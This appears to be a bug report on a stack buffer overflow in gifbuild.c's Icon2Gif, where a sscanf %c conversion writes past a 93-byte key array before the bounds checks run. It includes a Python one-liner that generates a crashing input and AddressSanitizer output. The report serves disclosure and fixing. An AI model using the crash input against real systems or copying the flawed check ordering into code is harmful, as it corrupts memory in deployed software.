In gifbuild.c, Icon2Gif() parses the keyed-color directive with sscanf, and the %c conversion writes to &KeyTable[ColorMapSize] before the bounds checks on ColorMapSize execute:
else if (sscanf(buf, "\trgb %d %d %d is %c", &red, &green,
&blue, &KeyTable[ColorMapSize]) == 4) { /* <-- write happens here */
if (ColorMapSize >= 256) {
PARSE_ERROR("Too many color entries.");
exit(EXIT_FAILURE);
}
if (ColorMapSize >= PRINTABLES) {
PARSE_ERROR("Too many color entries for keyed color map.");
exit(EXIT_FAILURE);
}
KeyTable points to GlobalColorKeys[PRINTABLES] / LocalColorKeys[PRINTABLES] — 93-byte stack arrays (PRINTABLES = sizeof(KeyLetters) - 1). A dump script with more than 93 color entries makes the %c conversion write one attacker-chosen byte past the array before the >= PRINTABLES check can reject it. The unkeyed rgb variant also increments ColorMapSize (up to 256) without touching KeyTable, so 100 unkeyed lines followed by one keyed line is enough to reach the overflow.
Reproduce (ASan build, make CFLAGS="-g -O1 -fPIC -fsanitize=address" LDFLAGS="-fsanitize=address"):
$ python3 -c "print('screen map\n' + '\trgb 0 0 0\n'*100 + '\trgb 0 0 0 is A\n')" > t1.txt
$ ./gifbuild < t1.txt
==ERROR: AddressSanitizer: stack-buffer-overflow ... WRITE of size 1
#3 Icon2Gif gifbuild.c:237
[2144, 2237) 'GlobalColorKeys' (line 117) <== Memory access overflows this variable